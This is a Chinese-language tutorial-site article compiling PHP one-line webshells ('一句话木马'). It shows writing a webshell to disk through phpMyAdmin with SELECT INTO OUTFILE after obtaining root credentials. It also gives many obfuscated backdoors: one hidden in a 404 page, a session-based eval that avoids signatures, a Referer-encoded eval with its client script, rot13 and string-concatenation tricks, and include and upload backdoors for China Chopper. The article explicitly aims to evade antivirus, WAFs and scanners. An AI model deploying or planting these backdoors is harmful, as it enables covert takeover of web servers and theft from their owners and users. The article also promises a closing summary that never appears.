当前位置：首页 > PHP教程 > php高级应用 > 列表

phpmyadmin写入一句话木马的测试

发布:smiling　来源: PHP粉丝网 　添加日期：2018-10-13 14:27:14　浏览: 评论：0　

方法一，一句话木马

偶尔拿到一个config中，发现是root，且还有phpmyadmin。好吧，试试:

  1. <a href="\"/tags.php/select/\"" target="\"_blank\"">select</a>'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\Web\\wp-content\\errors.php' 

提示成功了，可是构造地址访问，提示404，看来没成功，应该是转义的问题

接着尝试：

  1. select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\\\Web\\\\xxx.xx.vn\\\\wp-content\\\\errors.php' 
再次导入，提示成功，访问后发现真的成功了。

另一种一句话木马

服务器上发现被植了很多木马，而且还让人肆意使用...NND

  1. <?php @eval($_POST['c']);?> 

使用方法也很简单，本地提交文件指向提交文件，里面的php代码就会被执行.

  1. <html>   
  2.  
  3. <body>   
  4.  
  5. <form action="a.php" method="post">   
  6.  
  7. <input type="text" name="c" value="phpinfo();">   
  8.  
  9. <input type="submit" value="submit">   
  10.  
  11. </form>   
  12.  
  13. </body>   
  14.  
  15. </html> 

利用404页面隐藏PHP小马：

  1. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
  2.  
  3. <html><head> 
  4.  
  5. <title>404 Not Found</title> 
  6.  
  7. </head><body> 
  8.  
  9. <h1>Not Found</h1> 
  10.  
  11. <p>The <a href="\"/tags.php/request/\"" target="\"_blank\"">request</a>ed URL was not found on this server.</p> 
  12.  
  13. </body></html> 
  14.  
  15. <?php 
  16.  
  17. @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); 
  18.  
  19. header('HTTP/1.1 404 Not Found'); 
  20.  
  21. ?> 

404页面是网站常用的文件，一般建议好后很少有人会去对它进行检查修改，这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话：

  1. <?php 
  2. session_start(); 
  3. $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); 
  4. $_SESSION['theCode']&&preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\\'theCode\\']))','a'); 

将$_POST['code']的内容赋值给$_SESSION['theCode']，然后执行$_SESSION['theCode']，亮点是没有特征码。用扫描工具来检查代码的话，是不会报警的，达到目的了。

超级隐蔽的PHP后门：

  1. <?php $_GET[a]($_GET[b]);?> 

仅用GET函数就构成了木马；

利用方法：

  1. a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

执行后当前目录生成c.php一句话木马，当传参a为eval时会报错木马生成失败，为assert时同样报错，但会生成木马，真可谓不可小视，简简单单的一句话，被延伸到这般应用。

层级请求，编码运行PHP后门：

此方法用两个文件实现，文件1

  1. <?php 
  2. //1.php 
  3. header('Content-type:text/html;charset=utf-8'); 
  4. parse_str($_SERVER['HTTP_REFERER'], $a); 
  5. if(reset($a) == '10' && count($a) == 9) { 
  6.    eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); 
  7. } 

文件2:

  1. <?php 
  2. //2.php 
  3. header('Content-type:text/html;charset=utf-8'); 
  4. //要执行的代码 
  5. $code = <<<CODE 
  6. phpinfo(); 
  7. CODE; 
  8. //进行base64编码 
  9. $code = base64_encode($code); 
  10. //构造referer字符串 
  11. $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; 
  12. //后门url 
  13. $url = 'http://localhost/test1/1.php'; 
  14. $ch = curl_init(); 
  15. $options = array( 
  16.     CURLOPT_URL => $url, 
  17.     CURLOPT_HEADER => FALSE, 
  18.     CURLOPT_RETURNTRANSFER => TRUE, 
  19.     CURLOPT_REFERER => $referer 
  20. ); 
  21. <a href="\"/tags.php/curl_setopt/\"" target="\"_blank\"">curl_setopt</a>_array($ch, $options); 
  22. echo curl_exec($ch); 

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果，一般waf对referer这些检测要松一点，或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁。

以上是大概介绍下边是截图，相关使用方法亦家就不在这介绍了，简单的科普一下。

三个变形的一句话PHP木马

第一个

  1. <?php ($_=@$_GET[2]).@$_($_POST[1])?> 

在菜刀里写http://site/1.php?2=assert密码是1

第二个

  1. <?php 
  2. $_=""; 
  3. $_[+""]=''; 
  4. $_="$_".""; 
  5. $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); 
  6. ?> 
  7. <?php ${'_'.$_}['_'](${'_'.$_}['__']);?> 

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽，或者用其它注射工具也可以，因为是post提交的。

第三个

  1. ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 

str_rot13(‘riny’)即编码后的eval，完全避开了关键字，又不失效果，让人吐血！

最后列几个高级的PHP一句话木马后门：

  1. $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; 
  2.  
  3. $hh("/[discuz]/e",$_POST['h'],"Access"); 

菜刀一句话:

  1. $filename=$_GET['xbid']; 
  2. include ($filename); 

危险的include函数，直接编译任何文件为php格式运行:

  1. $reg="c"."o"."p"."y"; 
  2. $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); 

重命名任何文件:

  1. $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; 
  2. $gzid("/[discuz]/e",$_POST['h'],"Access"); 

菜刀一句话:

include ($uid);

危险的include函数，直接编译任何文件为php格式运行，POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif

gif插一句话

6、典型一句话

程序后门代码:

  1. <?php eval_r($_POST[sb])?> 

程序代码:

  1. <?php @eval_r($_POST[sb])?> 

容错代码,程序代码:

  1. <?php assert($_POST[sb]);?> 

使用lanker一句话客户端的专家模式执行相关的php语句,程序代码:

  1. <?$_POST['sa']($_POST['sb']);?> 

程序代码:

  1. <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 

程序代码:

  1. <?php 
  2. @preg_replace("/[email]/e",$_POST['h'],"error"); 
  3. ?> 

使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入.

程序代码：

  1. <O>h=@eval_r($_POST1);</O> 

程序代码：

  1. <script language="php">@eval_r($_POST[sb])</script> 

绕过<?限制的一句话。

综上，这些PHP一句话后门可谓五脏俱全，一不小心您肯定中招了，而我们今天这篇文章的重中之重在哪呢？重点就在下边的总结!

Tags: php一句话木马

分享到：

推荐文章

热门文章

最新评论文章